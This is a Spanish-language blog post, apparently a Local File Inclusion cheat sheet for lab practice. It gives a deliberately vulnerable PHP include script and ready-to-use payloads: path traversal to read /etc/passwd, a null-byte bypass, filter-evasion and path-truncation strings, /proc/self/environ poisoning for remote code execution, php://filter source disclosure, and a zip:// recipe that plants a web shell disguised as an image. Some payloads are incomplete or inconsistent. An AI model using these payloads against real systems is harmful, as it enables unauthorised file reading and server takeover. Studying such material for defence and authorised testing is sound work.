· Manuel López Pérez · 2 min read
Local File Inclusion (LFI) - Cheat Sheet
Cheat sheet de LFI: path traversal, null byte, /proc/self/environ y wrappers PHP (filter/zip/data/expect) con ejemplos directos para laboratorio.

La vulnerabilidad ‘local file inclusion’ permite a un atacante leer un archivo del servidor vulnerable, se produce debido a un error de programación de la pagina.
Dependiendo de la importancia, esta vulnerabilidad puede llevar al atacante a:
- RCE (Remote Code Execution)
- XSS (Cross-site scripting)
- DoS
Los scripts que toman los nombres de archivos como parámetros, sin securizar la entrada del usuario son buenos candidatos para LFI. Un ejemplo muy básico seria el siguiente script de php:
// vuln.php <?php include $_GET['file']; ?>Que toma image.jpg como parámetro. Un atacante cambiaría image.jpg por archivos sensibles como por ejemplo :
http://prueba.com/vuln.php?file=../../../../../../../../etc/passwd
Esto no es solo una vulnerabilidad de php; también está presente en otros lenguajes como jsp, asp, entre otros.
Cheat-Sheet / Notas :
LFI Básico:
- Null Byte: Es habitual encontrarnos con php que permiten LFI y nos añaden una extensión:
<? $file = $_GET['file']; require($file . ".php"); ?>El php se añade al nombre del archivo, esto significa que no podremos encontrar los archivos que buscamos. Dado que el archivo/etc/passwd.php no existe. Sin embargo, si añadimos el nullbyte al final de nuestra cadena de ataque, el. php no será tenido en cuenta. Así que añadimos %00 al final de nuestra cadena de ataque.
> http://ex.com/index.php?page=../../../etc/passwd%00Url-Encode:
Bypass filtro:
http://ex.com/index.php?page=..///////..////..//////etc/passwd http://ex.com/index.php?page=…//…//…//…//etc/passwd
Path Truncation
http://ex.com/index.php?page=../../../../../../../../../etc/passwd..\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\\[ADD MORE]\.\. http://ex.com/index.php?page=../../../../\[…\]../../../../../etc/passwd
/proc/self/environ
Es posible incluir el /proc/self/envirion desde el script vulnerable. Se puede aprovechar la ejecución del código manipulado el paramento User-Agent con Burp-Suite. Después de que el código php ha sido introducido, se puede ejecutar RCE.
GET /lfi.php?page=/proc/self/environ&cmd=id HTTP/1.1 Host: www.ex.com User-Agent:
LFI Wrappers:
Php incorpora una serie de envolturas para distintos protocolos tipo URL para trabajar junto con funciones del sistema, son los llamados wrappers.
PHP Wrapper expect://
PHP Wrapper data://
PHP Wrapper filter://
http://ex.com/index.php?page=php://filter/read=string.rot13/resource=index.php http://ex.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
PHP Wrapper zip://
echo "<?php \\$_GET['param1'](\\$_GET['param2']); ?>" > shell.php zip -0 payload.zip payload.php; mv payload.zip shell.jpg; rm payload.php> http://ex.com/index.php?page=zip://shell.jpg%23payload.phpHerramientas: LFI
Referencias:



